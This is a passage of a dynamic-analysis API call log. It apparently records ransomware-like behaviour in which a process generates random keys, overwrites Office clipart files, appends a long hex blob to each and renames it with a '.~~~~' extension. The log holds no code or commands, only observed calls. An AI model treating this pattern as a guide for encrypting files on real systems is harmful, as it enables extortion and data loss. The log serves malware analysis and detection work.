	[0113.020] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1764, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1764, lpOverlapped=0x0) returned 1
	[0113.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.021] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.021] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.021] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.021] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.021] CloseHandle (hObject=0x144) returned 1
	[0113.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.021] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.~~~~")) returned 1
	[0113.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0113.022] GetLastError () returned 0x0
	[0113.023] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.024] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.024] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.024] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23301416813) returned 1
	[0113.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacf7a1b0, dwHighDateTime=0x1d60e1e)) 
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830a30
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830a30 | out: hHeap=0x300000) returned 1
	[0113.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834300
	[0113.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.025] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.025] GetLastError () returned 0x0
	[0113.025] GetLastError () returned 0x0
	[0113.025] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.025] GetLastError () returned 0x0
	[0113.025] GetLastError () returned 0x0
	[0113.028] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe1ab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.028] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1e55, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1e55, lpOverlapped=0x0) returned 1
	[0113.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.029] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.029] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.029] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.029] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.029] CloseHandle (hObject=0x144) returned 1
	[0113.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29cef90
	[0113.030] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.~~~~")) returned 1
	[0113.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0113.031] GetLastError () returned 0x0
	[0113.031] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.032] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0113.032] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0113.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.032] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23302256184) returned 1
	[0113.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xacfa0310, dwHighDateTime=0x1d60e1e)) 
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830a68
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0113.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830a68 | out: hHeap=0x300000) returned 1
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834430
	[0113.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.033] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.033] GetLastError () returned 0x0
	[0113.034] GetLastError () returned 0x0
	[0113.034] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.034] GetLastError () returned 0x0
	[0113.034] GetLastError () returned 0x0
	[0113.074] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff83f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.074] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7c08, lpOverlapped=0x0) returned 1
	[0113.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.075] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.075] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.075] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.075] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.075] CloseHandle (hObject=0x144) returned 1
	[0113.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.231] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.~~~~")) returned 1
	[0113.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0113.234] GetLastError () returned 0x0
	[0113.368] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.374] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.374] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.375] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23336477669) returned 1
	[0113.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad2e6150, dwHighDateTime=0x1d60e1e)) 
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830ec8
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830ec8 | out: hHeap=0x300000) returned 1
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29cef90
	[0113.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28351b8
	[0113.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29cef90 | out: hHeap=0x300000) returned 1
	[0113.375] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.376] GetLastError () returned 0x0
	[0113.376] GetLastError () returned 0x0
	[0113.376] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.376] GetLastError () returned 0x0
	[0113.376] GetLastError () returned 0x0
	[0113.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.385] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.386] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.386] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.387] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.387] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.387] CloseHandle (hObject=0x130) returned 1
	[0113.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02074U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02074u.bmp.~~~~")) returned 1
	[0113.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.388] GetLastError () returned 0x0
	[0113.388] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.392] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.392] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.392] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23338241570) returned 1
	[0113.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad30c2b0, dwHighDateTime=0x1d60e1e)) 
	[0113.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830f38
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830f38 | out: hHeap=0x300000) returned 1
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28351b8
	[0113.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.393] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.393] GetLastError () returned 0x0
	[0113.393] GetLastError () returned 0x0
	[0113.394] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0113.394] GetLastError () returned 0x0
	[0113.394] GetLastError () returned 0x0
	[0113.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff9c65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.399] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x639b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x639b, lpOverlapped=0x0) returned 1
	[0113.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0113.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.400] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.400] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.400] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.401] CloseHandle (hObject=0x130) returned 1
	[0113.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.401] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.~~~~")) returned 1
	[0113.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0113.402] GetLastError () returned 0x0
	[0113.402] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0113.403] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.404] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0113.404] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23339389100) returned 1
	[0113.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xad30c2b0, dwHighDateTime=0x1d60e1e)) 
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830f70
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830f70 | out: hHeap=0x300000) returned 1
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835380
	[0113.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.405] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0113.405] GetLastError () returned 0x0
	[0113.405] GetLastError () returned 0x0
	[0113.405] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
